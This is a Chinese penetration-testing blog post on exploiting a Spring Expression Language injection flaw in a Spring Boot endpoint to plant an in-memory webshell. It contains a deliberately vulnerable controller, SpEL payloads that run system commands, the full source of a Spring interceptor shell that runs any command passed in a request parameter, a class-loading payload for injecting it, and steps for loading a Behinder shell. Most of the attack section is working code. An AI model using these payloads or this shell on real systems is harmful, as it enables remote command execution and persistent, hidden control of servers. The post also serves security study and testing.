SpEL表达式漏洞注入内存马

admin 2025年4月25日10:24:04评论1 views字数 5660阅读18分52秒阅读模式

1.实验环境

jdk8 202

springboot  1.3.0.RELEASE

2.漏洞代码

package code.landgrey.controller;import org.springframework.expression.Expression;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.RestController;import java.io.IOException;@RestControllerpublic class TestController {    @RequestMapping("/memshell")    public String index(String name) throws IOException {        SpelExpressionParser spelExpressionParser = new SpelExpressionParser();        Expression expression = spelExpressionParser.parseExpression(name);        String out = (String) expression.getValue();        System.out.println(out);        return out;    }}

创建 spelExpressionParser 对象 调用 parseExpression方法 解释表达式 expression.getValue() 获取执行的值转为字符串输出。

3.表达式测试

输入字符串  返回字符串

SpEL表达式漏洞注入内存马

T(Type)”来表示java.lang.Class类的实例,即如同java代码中直接写类名。

T(java.lang.Runtime).getRuntime().exec("calc")
SpEL表达式漏洞注入内存马

也可以使用new class  创建实例

new ProcessBuilder("cmd","/c","calc").start()
SpEL表达式漏洞注入内存马

回显

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\").start().getInputStream(), "GBK").useDelimiter("asfsfsdfsf").next()
SpEL表达式漏洞注入内存马

4.注入内存马

创建 Interceptor 内存马

import org.springframework.web.servlet.HandlerInterceptor;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.lang.reflect.Field;import java.util.List;public class InceptorMemShell extends AbstractTranslet implements HandlerInterceptor {    static {        System.out.println("staart");        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT"0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Field field = null;        try {            field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        } catch (NoSuchFieldException e) {            e.printStackTrace();        }        field.setAccessible(true);        List<HandlerInterceptor> adaptInterceptors = null;        try {            adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping);        } catch (IllegalAccessException e) {            e.printStackTrace();        }        InceptorMemShell evilInterceptor = new InceptorMemShell();        adaptInterceptors.add(evilInterceptor);        System.out.println("ok");    }    @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String cmd = request.getParameter("cmd");        if (cmd != null) {            try {                response.setCharacterEncoding("gbk");                java.io.PrintWriter printWriter = response.getWriter();                ProcessBuilder builder;                String o = "";                if (System.getProperty("os.name").toLowerCase().contains("win")) {                    builder = new ProcessBuilder(new String[]{"cmd.exe""/c", cmd});                } else {                    builder = new ProcessBuilder(new String[]{"/bin/bash""-c", cmd});                }                java.util.Scanner c = new java.util.Scanner(builder.start().getInputStream(),"gbk").useDelimiter("wocaosinidema");                o = c.hasNext() ? c.next(): o;                c.close();                printWriter.println(o);                printWriter.flush();                printWriter.close();            } catch (Exception e) {                e.printStackTrace();            }            return false;        }        return true;    }    @Override    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {    }    @Override    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {    }    @Override    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {    }    @Override    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {    }}

利用 springboot的org.springframework.cglib.core.ReflectUtils加载类执行。 

传入类名 字节码 和 加载器

  public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {        return defineClass(className, b, loader, PROTECTION_DOMAIN);    }    public static Class defineClass(String className, byte[] b, ClassLoader loader, ProtectionDomain protectionDomain) throws Exception {        Object[] args = new Object[]{className, b, new Integer(0), new Integer(b.length), protectionDomain};        Class c = (Class)DEFINE_CLASS.invoke(loader, args);        Class.forName(className, true, loader);        return c;    }

payload 

T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString(''),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

将内存马转为base64  不换行

cat InceptorMemShell.class | base64 -w0

接着转码提交即可注入内存马

SpEL表达式漏洞注入内存马

执行弹出计算器命令

SpEL表达式漏洞注入内存马

5.注入Behinder内存马

运行jmg选择Behinder内存马 SpEl 这些配置打上。

SpEL表达式漏洞注入内存马

自带利用加载payload 把#(和最后的)去掉 因为这里不需要占位符

SpEL表达式漏洞注入内存马

url转码提交 Behinder填写配置信息即可连接

SpEL表达式漏洞注入内存马

想系统学习渗透测试?扫码报名培训课程!

SpEL表达式漏洞注入内存马

原文始发于微信公众号(moonsec):SpEL表达式漏洞注入内存马

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日10:24:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SpEL表达式漏洞注入内存马https://cn-sec.com/archives/3953782.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息